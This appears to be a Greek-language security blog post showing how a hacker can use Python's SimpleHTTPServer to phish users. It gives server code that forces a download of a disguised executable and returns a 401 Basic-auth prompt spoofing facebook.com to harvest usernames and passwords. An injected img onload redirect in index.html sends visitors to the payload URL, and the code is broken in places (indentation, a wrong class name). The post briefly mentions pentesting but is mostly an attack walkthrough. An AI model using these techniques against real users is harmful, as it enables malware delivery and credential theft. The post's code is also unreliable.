Python SimpleHTTPServer (Phishing attack)





Θα σας δείξω πως ένας hacker μπορεί να δημιουργήσει πολύ γρήγορα και απλά τον δικό του HTTP Server και να μοιράσει το κακόβουλο λογισμικό στους ανυποψίαστους χρήστες ή ακόμη και να κλέψει τo username και το password σας (π.χ Facebook,Twitter κτλ)
Βέβαια θα μπορούσε επίσης να χρησιμοποιηθεί για pentesting ή για εκμάθηση των HTTP Headers.
Μπορούμε να δημιουργήσουμε μία απλή index.html (Αρχική σελίδα) και να οδηγήσουμε τους χρήστες εκεί.Μετά οι κεφαλίδες θα κάνουν από μόνες τους αυτό που χρειάζεται.



#!/usr/bin/python

import SocketServer
import SimpleHTTPServer

#SHTTPServer subclass
class SHTTPServer(SimpleHTTPServer.SimpleHTTPRequestHandler):



def do_GET(self):
 if self.path=='/user':
self.send_response(200)
self.send_header('Content-Disposition','attachment;filename=test.txt')
 self.send_header('Content-Length','100000')
self.end_headers()


else :
 SimpleHTTPServer.SimpleRequestHandler.do_GET(self)

s=SocketServer.TCPServer(("0.0.0.0",9000),SHTTPServer)
s.serve_forever()



Αντιγράψτε το παραπάνω και αποθήκευστε το σε ένα αρχείο με όνομα που να τελειώνει σε *.py
Δώστε του δικαιώματα chmod a+x <όνομα_αρχείου>.py και εκτελέστε το
Μόλις προσπαθήσετε να μπείτε στο http://<HTTP_SERVER_IP>:<PORT>/user τότε ο browser θα σας ζητήσει να αποθηκεύσετε ή να εκτελέσετε το αρχείο όπως στην παρακάτω εικόνα.


 



Βέβαια δεν θα είναι ένα απλό αρχείο *.TXT αλλά κάτι εκτελέσιμο σε *.ΕΧΕ ή *.TXT.EXE


Για να μετατρέψουμε τον κώδικα μας σε κάτι πιο phishing θα κάνουμε μία μικρή αλλαγή στην do_GET function και στην index.html
Μόλις κάποιος μπει στην σελίδα μας τότε θα τον ανακατευθύνουμε σε μία Phishing σελίδα για να αρπάξουμε τα στοιχεία του.Βέβαια οι τρόποι και οι τεχνικές ποικίλουν 



def do_GET(self):


self.send_response(401)
self.send_header('WWW-Authenticate','Basic realm=https://www.facebook.com')
self.end_headers()


#Αλλαγή της αρχικής μας


target=open('index.html','w')

target.write("<img src='facebook.png' onload=window.location.assign('http://192.168.1.4:9000/user')>")

target.close()











 Νόμιζω πως το αποτέλεσμα ήταν αρκετά καλό και επίσης αρκετά πειστικό.Χωρίς πολλές γραμμές κώδικα δημιουργήσαμε:


  • Έναν HTTPServer χωρίς να εγκαταστήσουμε κανένα πρόγραμμα απλά με την βοήθεια της Python που υπάρχει προεγκατεστημένη στα Linux 
  • Κάναμε μικρές αλλαγές στα Response headers 
  • Μεταφέραμε γρήγορα κ απλά τον χρήστη στο σημείο που θέλαμε δηλαδή να κατεβάσει το αρχείο μας χωρίς να κάνει πολλά κλίκ και για την ακρίβεια χωρίς να κάνει ούτε ένα
  • Με ένα PrintScreen κάναμε την αρχική μας να μοιάζει με το Facebook και ανακατευθύναμε τον χρήστη στο σημείο Πιστοποίησης

Comments

Popular posts from this blog

Basic Pivoting with Cobaltstrike and Metasploit

Hiding Data Using White Space (Steganography)

Unhide a Hidden GPO